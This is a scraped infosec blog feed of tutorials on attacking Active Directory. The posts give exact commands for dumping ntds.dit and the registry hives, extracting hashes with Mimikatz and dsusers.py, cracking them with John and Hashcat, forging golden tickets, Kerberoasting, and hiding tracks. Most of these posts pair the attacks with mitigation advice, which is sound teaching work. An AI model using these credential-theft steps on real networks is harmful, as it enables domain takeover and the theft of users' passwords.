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Randy's Blog on Infosec and Other Stuff

Cracking AD Passwords with NTDSXtract, Dsusers.py and John the Ripper

Tue, 07 Nov 2017 13:03:48 GMT

Recently Thycotic sponsored a webinar titled "Kali Linux: Using John the Ripper, Hashcat and Other Tools to Steal Privileged Accounts".  During the webinar Randy spoke about the tools and steps to crack Active Directory domain accounts.  Here are the steps we used to do so.

Creating a shadow copy of ntds.dit and the SYSTEM file

On our domain controller we will steal the Ntds.dit file using VSSAdmin.  First we need to open an elevated command prompt.  Then we will create a copy using VSS.  Run “vssadmin create shadow /for=C:”


Using the “Shadow Copy Volume Name:” we need to extract ntds.dit using “copy ShadowCopyVolumeNameHere\windows\ntds\ntds.dit c:\files”  Note that you must use a valid target location for the copy.  In the screenshot I used c:\Files and received an error because it does not exist.  Using C:\junk, an existing directory, it worked.


We also need a copy of the SYSTEM file.  You can easily retrieve this running “reg save hklm\system c:\junk”.


You should delete the shadow copy if you are done with it.


Copy your system file and ntds.dit from Windows to your Kali Linux box.  Ignore pwd.txt since that is from other testing.

 

Extracting the data tables from ntds.dit using libesedb and esedbexportNow we need libesedb to extract the tables from the ntds.dit file.  If you don’t already have this installed you can get it with the following commands:  “git clone https://github.com/libyal/libesedb.git”


Now navigate to that directory using “cd libesedb/” 


We must first install the other pre-req’s using “apt-get install git autoconf automake autopoint libtool pkg-config build-essential”


Run ./synclibs.sh


Run ./autogen.sh


Run chmod +x configure


Run ./configure


Run make


Run sudo make install


Run ldconfig


Navigate to cd /usr/local/bin/


Export the tables from ntds.dit by running “esedbexport -m tables /root/ntds.dit”


Copy the /usr/local/bin/ntds.dit.export folder to /root/.

 

Extracting the AD user account hashes using NTDSXtract

Next we have to download NTDSXtract by running this command wget https://github.com/csababarta/ntdsxtract/archive/e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip


Unzip the file by running “unzip e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip”.


Then navigate to the directory you’ve extracted it to and “cd ntdsxtract-e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip/”.


Now you must run the python script in that folder using the files you have created.  The command is “python dsusers.py /root/ntds.dit.export/datatable.4 /root/ntds.dit.export/link_table.7 /root/hashdumpwork --syshive /root/system --passwordhashes --lmoutfile /root/lm-out.txt --ntoutfile /root/nt-out.txt --pwdformat ophc

You may have to substitute file paths if you have exported or moved the datatable files.  The paths after lmoutfile and nt-outfile are output locations.


You will now have lm-out.txt and nt-out.txt files in your home directory.

 

Cracking the Hashes - Using Johnny

In Kali under Password Attacks open Johnny. 


Click Open password file and select the (PASSWD format) option. 


Select the nt-out.txt from the earlier steps and click Open. 


You should now see a list of user accounts and hashes displayed. 


Click on the Start new attack button and you should get passwords returned in the Password column.  

Note:  There are various types of attack methods under Options and a vast amount of wordlists available online.  Since this is our production environment and we use very complex passwords, we entered a few known passwords in to a custom wordlist dictionary file to expedite the cracking process.


Cracking the Hashes Using John

In Kali under Password Attacks open John

 
Run the following command:  john --rules=all --format=nt.old --fork=2 nt-out.txt  

As you can see in the screenshot below, John will start to crack user passwords.  You can see that someone in our domain has been creating test accounts using the same password of abc123$$. 

  

Cracking the Hashes Using Hashcat

In Kali under Password Attacks open hashcat.


Run the following command:  hashcat -m 1000 -a 0 nt-out.txt -o pwdhashcat.txt rockyou.txt --force --attack-mode 3 

-m is our hash type
-a 0 is our attack mode set to straight 
--attack-mode 3 was also used which is a brute-force attack
Nt-out.txt is our file from earlier steps that contains the userid’s and hashes
-o is our output file which will be named pwdhashcat.txt
Rockyou.txt is our downloaded dictionary file.  - This was downloaded off the web for this step.

Hashcat then began a brute force and dictionary attack.  You will able to see it attempting to crack password after password after password in the terminal window.  



This article was contributed by Barry Vista (bvista@monterytechgroup.com)


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Cracking local windows passwords with Mimikatz, LSA dump and Hashcat

Tue, 07 Nov 2017 13:03:26 GMT

Recently Thycotic sponsored a webinar titled "Kali Linux: Using John the Ripper, Hashcat and Other Tools to Steal Privileged Accounts".  During the webinar Randy spoke about the tools and steps to crack local windows passwords.  Here are the steps we used to do so.

Extracting a copy of the SYSTEM and SAM registry hives

We need to extract and copy the SYSTEM and SAM registry hives for the local machine.  We do this by running “reg save hklm\sam filename1.hiv” and “reg save hklm\security filename2.hiv”. 

Dumping the hashes with Mimikatz and LSAdump

Now we must use mimikatz to dump the hashes.


We need to run “lsadump::sam filename1.hiv filename2.hiv” from step 1 above.  But as you can see in the screenshot below we get an error.  This is because we do not have the proper access.


We must run at elevated privileges for the command to run successfully.  We do this by running “privilege::debug” and then “token::elevate”.


Now run “log hash.txt” so that your next command will output to a txt file.


Now we can run the “lsadump::sam filename1.hiv filename2.hiv” from step 1 above successfully.  It will display the username and hashes for all local users.


Navigate to the directory where mimikatz is located on your machine.  In my instance it’s located in C:\Users\BarryVista\Downloads\mimikatz\x64.  Here you will find the output in the hash.txt file.


We need to edit the contents of this file to display only the username and hash in this format – username:hash



Copy this file to your Kali Linux box home folder.

Cracking the hashes using Hashcat

Run hashcat with this command: hashcat -m 1000 -a 0 --force --show --username hash.txt wordlist1.lst 

-m 1000 = hash type, in this case 1000 specifies a NTLM hash type
-a 0 = Straight attack mode
--force = ignore warnings
--show = compares hashlist with potfile; show cracked hashes
--username = enables ignoring of usernames in hashfile
hash.txt = our file with the username:hash information
wordlist1.lst = our word list with the passwords.

As you can see in the screenshot below we end up with the username, hash and password.

In this lab demo, we created a custom wordlist that contained our passwords with the exception of our real administrator password which is why it isn’t displayed. There are multiple sources on the web to download dictionary lists used for password cracking.



This article was contributed by Barry Vista (bvista@monterytechgroup.com)


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Extracting Password Hashes from the Ntds.dit File

Fri, 27 Oct 2017 09:26:05 GMT

AD Attack #3 – Ntds.dit Extraction

With so much attention paid to detecting credential-based attacks such as Pass-the-Hash (PtH) and Pass-the-Ticket (PtT), other more serious and effective attacks are often overlooked. One such attack is focused on exfiltrating the Ntds.dit file from Active Directory Domain Controllers. Let’s take a look at what this threat entails and how it can be performed. Then we can review some mitigating controls to be sure you are protecting your own environment from such attacks.

What is the Ntds.dit File?

The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.

By extracting these hashes, it is possible to use tools such as Mimikatz to perform pass-the-hash attacks, or tools like Hashcat to crack these passwords. The extraction and cracking of these passwords can be performed offline, so they will be undetectable. Once an attacker has extracted these hashes, they are able to act as any user on the domain, including Domain Administrators.

Performing an Attack on the Ntds.dit File

In order to retrieve password hashes from the Ntds.dit, the first step is getting a copy of the file. This isn’t as straightforward as it sounds, as this file is constantly in use by AD and locked.  If you try to simply copy the file, you will see an error message similar to:

There are several ways around this using capabilities built into Windows, or with PowerShell libraries.  These approaches include:

  1. Use Volume Shadow Copies via the VSSAdmin command
  2. Leverage the NTDSUtil diagnostic tool available as part of Active Directory
  3. Use the PowerSploit penetration testing PowerShell modules
  4. Leverage snapshots if your Domain Controllers are running as virtual machines

In this post, I’ll quickly walk you through two of these approaches: VSSAdmin and PowerSploit’s NinjaCopy.

Using VSSAdmin to Steal the Ntds.dit File

Step 1 – Create a Volume Shadow Copy

Creation of a volume shadow copy using VSSAdmin

Step 2 – Retrieve Ntds.dit file from Volume Shadow Copy

Copying Ntds.dit file from a volume shadow copy

Step 3 – Copy SYSTEM file from registry or Volume Shadow Copy. This contains the Boot Key that will be needed to decrypt the Ntds.dit file later.

Extracting the SYSTEM file through the registry

Extracting the System file from the volume shadow copy

Step 4 – Delete your tracks

Deleting the volume shadow copy that was created

Using PowerSploit NinjaCopy to Steal the Ntds.dit File

PowerSploit is a PowerShell penetration testing framework that contains various capabilities that can be used for exploitation of Active Directory.   One module is Invoke-NinjaCopy, which copies a file from an NTFS-partitioned volume by reading the raw volume.  This approach is another way to access files that are locked by Active Directory without alerting any monitoring systems.

Extracting the Ntds.dit file using Invoke-NinjaCopy command within PowerSploit.

Extracting Password Hashes

Regardless of which approach was used to retrieve the Ntds.dit file, the next step is to extract password information from the database. As mentioned earlier, the value of this attack is that once you have the files necessary, the rest of the attack can be performed offline to avoid detection. DSInternals provides a PowerShell module that can be used for interacting with the Ntds.dit file, including extraction of password hashes.

Retrieving account information from the Ntds.dit file using Get_ADDBAccount command, including NTLM hash.

Once you have extracted the password hashes from the Ntds.dit file, you are able to leverage tools like Mimikatz to perform pass-the-hash (PtH) attacks. Furthermore, you can use tools like Hashcat to crack these passwords and obtain their clear text values.  Once you have the credentials, there are no limitations to what you can do with them.

How to Protect the Ntds.dit File

The best way to stay protected against this attack is to limit the number of users who can log onto Domain Controllers, including commonly protected groups such as Domain and Enterprise Admins, but also Print Operators, Server Operators, and Account Operators. These groups should be limited, monitored for changes, and frequently recertified.

In addition, leveraging monitoring software to alert on and prevent users from retrieving files off Volume Shadow Copies will be beneficial to reduce the attack surface.

Here are the other blogs in the series:

  • AD Attack #1 – Performing Domain Reconnaissance (PowerShell) Read Now
  • AD Attack #2 – Local Admin Mapping (Bloodhound) Read Now
  • AD Attack #4 – Stealing Passwords from Memory (Mimikatz) Read Now

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

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Complete Domain Compromise with Golden Tickets

Wed, 18 Oct 2017 15:47:09 GMT

Service Account Attack #4: Golden Tickets

In this blog series, we’ve focused on ways to find and compromise Active Directory service accounts. So far, this has led us to compromise accounts which grant us limited access to the services they secure. In this final post, we are going to explore the most powerful service account in any Active Directory environment: the KRBTGT account. By obtaining the password hash for this account, an attacker is able to compromise every account within Active Directory, giving them unlimited and virtually undetectable access to any system connected to AD.

The KRBTGT Account

Every Active Directory domain controller is responsible for handling Kerberos ticket requests, which are used to authenticate users and grant them access to computers and applications. The KRBTGT account is used to encrypt and sign all Kerberos tickets within a domain, and domain controllers use the account password to decrypt Kerberos tickets for validation. This account password never changes, and the account name is the same in every domain, so it is a well-known target for attackers. KRBTGT account targeted by attackers who want to use the KRBTGT password to forge Kerberos tickets (TGTs)

Golden Tickets

Using Mimikatz, it is possible to leverage the password information for the KRBTGT account to create forged Kerberos tickets (TGTs) which can be used to request TGS tickets for any service on any computer in the domain.

To create golden tickets, the following information will be needed:

  • KRBTGT account password hash – This is the most important piece of information needed to create golden tickets. This will only be available by gaining elevated rights to a domain controller.
  • Domain name and SID – The name and SID of the domain to which the KRBTGT account belongs.

That’s really about it. Let’s take a look at how to gather this information and create golden tickets step-by-step.

Step 1 – Gather KRBTGT Password Information

This is the hardest part of the attack and it requires gaining privileged access to a domain controller. Once you are able to log on interactively or remotely to a domain controller, you can use Mimikatz to extract the password hash. The simplest command to issue to gather this information with Mimikatz is:

privilege::debug

lsadump::lsa /inject /name:krbtgt

This will output the necessary password hash, as well as the domain SID information. Using Mimikatz to extract the password hash of the KRBTGT account and the Domain SID with the command lsadump::lsa

Step 2 – Create Golden Tickets

Now that the necessary information has been obtained, you can create golden tickets using Mimikatz. Golden tickets can be created for valid domain accounts, or for accounts that do not exist. Some of the parameters you may want to leverage when creating golden tickets include:

  • User – The name of the user account the ticket will be created for. This can be a real account name but it doesn’t have to be.
  • ID – The RID of the account you will be impersonating. This could be a real account ID, such as the default administrator ID of 500, or a fake ID.
  • Groups – A list of groups to which the account in the ticket will belong. This will include Domain Admins by default so the ticket will be created with the maximum privileges.
  • SIDs – This will insert a SID into the SIDHistory attribute of the account in the ticket. This is useful to authenticate across domains

In this example, I am creating a ticket for a fake user, but providing the default administrator ID. We will see later when I use this ticket how the User and ID come into play. I also issue use “ptT” to inject the created ticket into the current session. Using Mimikatz to create a Golden Ticket for a fake user while providing the default administrator ID and using ptt to inject the ticket into the session

Step 3 – Pass the Ticket

Now that you have generated a golden ticket, it is time to use it. In the previous Mimikatz command I used the ptT trigger to load the golden ticket into the current session. Next, I will launch a command prompt under the context of that ticket using the misc::cmd command.

You can see in the command prompt I am still operating as a regular domain user with no domain group membership, which also means I should have no rights to any other domain computers. Displaying the group membership and user information for the current user, showing that the user has no Active Directory domain privileges

However, because the Kerberos ticket is in memory, I can connect to a domain controller and gain access to all of the files stored there. Using Mimikatz ptt to load the golden ticket into the session, impersonate an admin user, and use pushd to access a DC since the Kerberos ticket is in memory

You can also see if I use PSExec I can open a session on the target domain controller, and according to that session I am logged in as the Administrative user now. Using Mimikatz pass-the-ticket to load the ticket and PSExec to open a session on the DC where the user will be logged on as an admin due to the RID of 500

It believes I am the administrator due to the RID of 500 I used to generate my golden ticket.  Also, when looking at the event logs of the domain controller, I will see that it believes I am the Administrator but my account name is the one I spoofed during the golden ticket creation: Logon event 4624 shows the golden ticket account data with the SID as administrator due to RID spoofing and the fake user account name

This can be particularly useful if you are looking to evade detection or create deceptive audit logs.

Protecting Yourself from Golden Tickets

Golden tickets are very difficult to detect, because they are perfectly valid TGTs. However, in most cases they are created with lifespans of 10 years or more, which far exceeds the default values in Active Directory for ticket duration. Unfortunately, event logs do not log the TGT timestamps in the authentication logs but other AD monitoring products are capable of doing so. If you do see that golden tickets are in use within your organization, you must reset the KRBTGT account twice, which may have other far-reaching consequences.

The most important protection against golden tickets is to restrict domain controller logon rights. There should be the absolute minimum number of Domain Admins, as well as members of other groups that provide logon rights to DCs such as Print and Server Operators. In addition, a tiered logon protocol should be used to prevent Domain Admins from logging on to servers and workstations where their password hashes can be dumped from memory and used to access a DC to extract the KRBTGT account hash.

This is the final installment in our blog series, 4 Service Account Attacks and How to Protect Against Them. To view the previous blogs, please click on the links below.

Service Account Attack #1 – Discovering Service Accounts without using Privileges
Service Account Attack #2 – Extracting Service Account Passwords with Kerberoasting
Service Account Attack #3 – Impersonating Service Accounts with Silver Tickets

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

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Persistence Using AdminSDHolder And SDProp

Tue, 03 Oct 2017 18:13:33 GMT

AD Permissions Attack #3: Persistence using AdminSDHolder and SDProp

Now that we’ve compromised privileged credentials by exploiting weak permissions, it’s time to make sure we don’t lose our foothold in the domain. That way, even if the accounts we’ve compromised are deleted, disabled, or have their passwords reset we can easily regain Domain Admin rights. To do so, we will be exploiting some of the internal workings of Active Directory that are intended to keep privileged accounts well-protected: AdminSDHolder and SDProp.

What is AdminSDHolder?

AdminSDHolder is a container that exists in every Active Directory domain for a special purpose. The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all “protected groups” in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins. This also includes other groups that give logon rights to domain controllers, which can be enough access to perpetrate attacks to compromise the domain. For a more complete listing of protected groups go here.

Active Directory will take the ACL of the AdminSDHolder object and apply it to all protected users and groups periodically, in an effort to make sure the access to these objects is secure. This works, in theory, because the default ACL for AdminSDHolder is very restrictive. However, if an attacker is able to manipulate the ACL for AdminSDHolder, then those permissions will automatically be applied to all protected objects. This will give an attacker a way to create persistent access to privileged accounts within the domain.

Here is an example of the AdminSDHolder ACL with a new user added to give that user account access to all protected objects: 

A modified AdminSDHolder ACL granting privileged access to an Active Directory domain user account

The AdminSDHolder permissions are pushed down to all protected objects by a process SDProp. This happens, by default, every 60 minutes but this interval can be changed by modifying a registry value. That means if an administrator sees an inappropriate permission on a protected object and removes it, within an hour those permissions will be put back in place by SDProp. This default setting can be frustrating and hard to track down if you don’t understand what’s happening.

AdminCount

Protected groups and their members are flagged in Active Directory using an attribute adminCount, which will be set to 1 for protected users and groups. By looking at all objects with adminCount set to 1, you will get an idea of how pervasive an attack against AdminSDHolder could be to your environment. This analysis can be done easily with PowerShell and an LDAP filter.

Using PowerShell and an LDAP filter to find Active Directory objects with adminCount=1 to see how extensive an attack against AdminSDHolder could be

One point to note is that once a user is removed from a privileged group, they still maintain the adminCount value of 1, but are no longer considered a protected object by Active Directory. That means the AdminSDHolder permissions will not be applied to them. However, they will likely have a version of the AdminSDHolder permissions still set because inheritance of their permissions will still be disabled as a remnant of when they were protected by the AdminSDHolder permissions. Therefore, it is still useful to look at these objects and, in most cases, to turn on inheritance of permissions.

Protecting Yourself from AdminSDHolder

Only users with administrative rights will be able to modify the AdminSDHolder permissions, so the easiest way to stop their abuse is to prevent compromise of administrative credentials. If an administrative account is compromised, it is important to have regular monitoring on the AdminSDHolder object permissions and alert on any changes made. These changes should never happen so any alert is worth immediately investigating and reverting.

Reporting on objects with an adminCount value of 1 is also important and making sure they are still intended to have administrative rights. If they are not, put them in the right location and ensure they are inheriting permissions.

In the next post, we will continue to explore Active Directory Permissions by looking at unconstrained delegation permissions.

Active Directory Permissions Attack #1 – Exploiting Weak Active Directory Permissions with PowerSploit Read Now
Active Directory Permissions Attack #2 – Attacking AD Permissions with Bloodhound Read Now
Active Directory Permissions Attack #4 – Unconstrained Delegation Permissions Read Now

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

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How Attackers Are Stealing Your Credentials With Mimikatz

Wed, 20 Sep 2017 12:06:14 GMT

Stealing Credentials with Mimikatz

Mimikatz is an open-source tool built to gather and exploit Windows credentials. Since its introduction in 2011 by author Benjamin Delpy, the attacks that Mimikatz is capable of have continued to grow. Also, the ways in which Mimikatz can be packaged and deployed have become even more creative and difficult to detect by security professionals. This has led to Mimikatz recently being tied to some of the most prevalent cyber attacks such as the Petya ransomware. Once Petya has established itself within an environment, it uses recompiled Mimikatz code to steal credentials and move laterally throughout the organization.

Using Mimikatz to harvest credentials as part of malware and cyberattacks is nothing new. Mimikatz has been linked to Samsam ransomwareXdata ransomware, and WannaCry. The SANS Institute published a paper on detection and mitigation of Mimikatz early in 2016, but I’m not sure anybody is taking it as seriously as they should.

There are ways to protect against credential theft and abuse. The best place to start is with understanding the risks and the necessary steps to mitigate them. In this blog series, we will dive deeper into Mimikatz and look at how this open-source tool can be easily deployed as part of an attack. We will also explore various mitigations and ways that attackers are staying one step ahead of modern detection mechanisms.

What Exactly Does Mimikatz Do?

Mimikatz is primarily a post-exploitation tool, meaning it’s a way for an attacker who has found some other means onto your systems to expand their reach and eventually achieve complete control. Here are some of the ways Mimikatz can be used to do just that.

Stealing Credentials

Mimikatz has a variety of ways that it can steal credentials from a system. One simple way is through using the sekurlsa::logonpasswords command, which will output password information for all currently and recently logged on users and computers. If an attacker can compromise a single machine, then they can use this to get the password information for any other users or computers that have logged onto that machine. This is the premise of lateral movement and privilege escalation.

You can see below by issuing this command, I can retrieve the NTLM hash for the account Jeff, which I can later use to impersonate that account. Using Mimikatz, sekurlsa::logonpasswords command to steal credentials with pass-the-hash and pass-the-ticket

Another clever way of stealing credentials supported by Mimikatz is using DCSync, during which the attacker will pretend to be a domain controller and ask Active Directory to replicate its most sensitive password information.

Lateral Movement

Stealing credentials is the first step, the next step is to use them. Mimikatz comes with easy ways to perform pass-the-hash and pass-the-ticket activities to impersonate the stolen credentials and move laterally throughout an organization. Using the sekurlsa::pth command, I can take that recently discovered hash and launch a process on its behalf. Here is a post from a previous series, which covers this in more detail.

Persistence

Once an attacker has successfully moved laterally to compromise a target domain, Mimikatz offers several ways to make sure they maintain their control even after detection. Golden Tickets and Silver Tickets provide effective ways to create forged Kerberos tickets that are very difficult to detect and provide attackers with unlimited access. Mimikatz also provides other powerful persistence techniques including the Skeleton Keyinjecting a malicious SSP, and manipulating user passwords.

How Do Attackers Use Mimikatz?

Chances are, most attackers are not going to download Mimikatz straight from GitHub onto an infected computer and start using it. Most antivirus tools will detect that. In this series, we are going to take a look at how attackers can weaponize Mimikatz and what you can do to protect against these attacks. Here’s the lineup:

  • Post #1 – Automating Mimikatz with Empire & DeathStar Read Now
  • Post #2 – Lateral Movement with CrackMapExec Read Now
  • Post #3 – Ways to Detect and Mitigate These Attacks Read Now
  • Post #4 – How Attackers Are Bypassing These Protections Read Now

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

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Extracting Service Account Passwords with Kerberoasting

Thu, 07 Sep 2017 13:32:38 GMT

Service Account Attack #2: Extracting Service Account Passwords

In our first post, we explored how an attacker can perform reconnaissance to discover service accounts within an Active Directory (AD) domain. Now that we know how to find service accounts, let’s look at how an attacker can compromise those accounts and use them to exploit their privileges. In this post, we will explore one such method for doing that: Kerberoasting. This method is especially scary because it requires no elevated privileges within the domain, is very easy to perform once you know how, and is virtually undetectable.

Kerberoasting: Overview

Kerberoasting takes advantage of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs). If you remember, in the reconnaissance post we focused on discovering service accounts by scanning for user objects’ SPN values. Kerberoasting allows us to crack passwords for those accounts. By logging into an Active Directory domain as any authenticated user, we are able to request service tickets (TGS) for service accounts by specifying their SPN value. Active Directory will return an encrypted ticket, which is encrypted using the NTLM hash of the account that is associated with that SPN. You can then brute force these service tickets until successfully cracked, with no risk of detection or account lockouts. Once cracked, you have the service account password in plain text.

Even if you don’t fully understand the inner-workings of Kerberos, the attack can be summarized as:

  1. Scan Active Directory for user accounts with SPN values set.
  2. Request service tickets from AD using SPN values
  3. Extract service tickets to memory and save to a file
  4. Brute force attack those passwords offline until cracked

With those steps in mind, you can imagine how easy it may be to get access to a domain and begin cracking all service accounts within minutes. From there, it’s just a waiting game until you have compromised one or more service accounts.

For a better understanding of the types of access that can be garnered using Kerberoasting, look at the list of SPN values maintained by Sean Metcalf on ADSecurity.org.

Kerberoasting: How it Works

Step 1 – Obtain a list of SPN values for user accounts

We focus on user accounts because they have shorter, less secure passwords. Computer accounts have long, complex, random passwords that change frequently.  There are many ways to get this information, including:

Step 2 – Request Service Tickets for service account SPNs

To do this, you need to simply execute a couple lines of PowerShell and a service ticket will be returned and stored in memory to your system.Requesting Kerberos service tickets (TGS) for Service Principal Names found by querying Active Directory user accounts as an authenticated user

These tickets are encrypted with the password of the service account associated with the SPN. We are almost ready to start cracking them.

Step 3 – Extract Service Tickets Using Mimikatz

Mimikatz allows you to extract local tickets and save them to disk. We need to do this so we can pass them into our password cracking script. To do this, you must install Mimikatz and issue a single command.

Extracting service tickets using Mimikatz to pass them into the password cracking script without using admin rights

Step 4 – Crack the Tickets

Now that you have the tickets saved to disk, you can begin cracking the passwords. Cracking service accounts is a particularly successful approach because their passwords very rarely change. Also, cracking the tickets offline will not cause any domain traffic or account lockouts, so it is undetectable.

The Kerberoasting toolkit provides a useful Python script to do this. It can take some configuration to make sure you have the required environment to run the script; there is a useful blog here, which covers those details for you.

The script will run a dictionary of passwords as NTLM hashes against the service tickets you have extracted until it can successfully open the ticket. Once the ticket can be opened, you have cracked the service account and are provided with its clear-text password! 

Using Kerberoasting to crack service account tickets with tgsrepcrack.py from the Python script to extract the service account’s clear-text password

Protecting Yourself from Kerberoasting Attacks

The best mitigation for this attack is to ensure your service accounts that use Kerberos with SPN values leverage long and complex passwords. If possible, rotate those passwords regularly. Using group managed service accounts will enforce random, complex passwords that can be automatically rotated and managed centrally within AD.

To detect the attack in progress, monitor for abnormal account usage. Service accounts traditionally should be used from the same systems in the same ways, so it is possible to detect authentication anomalies. Also, you can monitor for service ticket requests in Active Directory to look for spikes in those requests.

This is the second installment in our blog series, 4 Service Account Attacks and How to Protect Against Them. To read the other installments, please click Read Now below or watch the webinar here .

Service Account Attack #1 – Discovering Service Accounts without using Privileges Read Now
Service Account Attack #3 – Targeted Service Account Exploitation with Silver Tickets Read Now
Service Account Attack #4 – Exploiting the KRBTGT service account for Golden Tickets Read Now

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

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Today's webinar includes first-hand account of a company brought to its knees by NotPetya

Wed, 26 Jul 2017 18:24:34 GMT

We have an added treat in today's real training for free ™ session.  2 of my guests on the webinar will describe their firsthand experience with helping a company recover from NotPetya and their lessons learned so far.  All 15,000 employees were sent home except for the IT staff tasked with rebuilding their infrastructure from scratch.  That's just the beginning.

Title: Something Worse Than Ransomware: Architecting for a New Breed of Malware that Simply Destroys

Click here to register

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Two new "How-To" Videos on Event Monitoring

Wed, 21 Jun 2017 14:02:26 GMT

I just released two new "How-To" video's on monitoring two important areas with Windows Event Collection.

Video 1 - In this 4 minute video, I show you step-by-step how you can use my latest product, Supercharger, to create a WEC susbscription that pulls PowerShell security events from all of your endpoints to a central collector.

Video 2 - In this 8 minute video, you will learn how to monitor security event ID 4688 from all of your endpoints. Obviously this would normally create a plethora of data but using Supercharger's Common System Process noise filter you will see how you can leave 60% of the noise at the source.

You can watch the video's by clicking on the links above or visiting the resources page for Supercharger by clicking here.

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Download Supercharger Free Edition for Easy Management of Windows Event Collection

Wed, 14 Jun 2017 08:59:58 GMT

We just released a new and free edition of Supercharger for Windows Event Collection which you can get here

There are no time-outs and no limits on the number of computers you can manage with Supercharger Free.

I wanted to include more than enough functionality so that anyone who uses WEC would want to install Supercharger Free right away.  For non-WEC users, Free Edition helps you get off the ground with step-by-step guidance. 

With Supercharger Free you can stop remoting into each collector and messing around with Event Viewer just to see the status of your subscriptions.  You can see all your collectors, subscriptions and source computers on a single pane of glass – even from your phone.  And you can create/edit/delete subscriptions as necessary.

I also wanted to help you get more from WEC’s ability to filter out noise events at the source by leveraging my research on the Windows Security Log. 

Supercharger Free Edition:

  • Provides a single pane of glass view of your entire Windows Event Collection (WEC) environment across all collectors and domains
  • Virtually eliminates the need to remote into collectors and wrestle with Event Viewer.  You can manage subscriptions right from the dashboard
  • Includes a growing list of my personally-built Security Log noise filters that help you get the events you need while leaving the noise behind

The manager only takes a few minutes to install and can even co-exist on a medium loaded collector.  Then it’s just seconds to install the agent on your other collectors.  You can uninstall Supercharger without affecting your WEC environment. 

I hope Supercharger Free is something that saves you time and helps you accomplish more with WEC.

This is just the beginning.  We’ve got more exciting and free stuff coming.  But you’ll need at least Supercharger Free to make use of what’s next, so install it today if you can.

Thank you for supporting my site of the years.  Here’s something new and free to say thanks.

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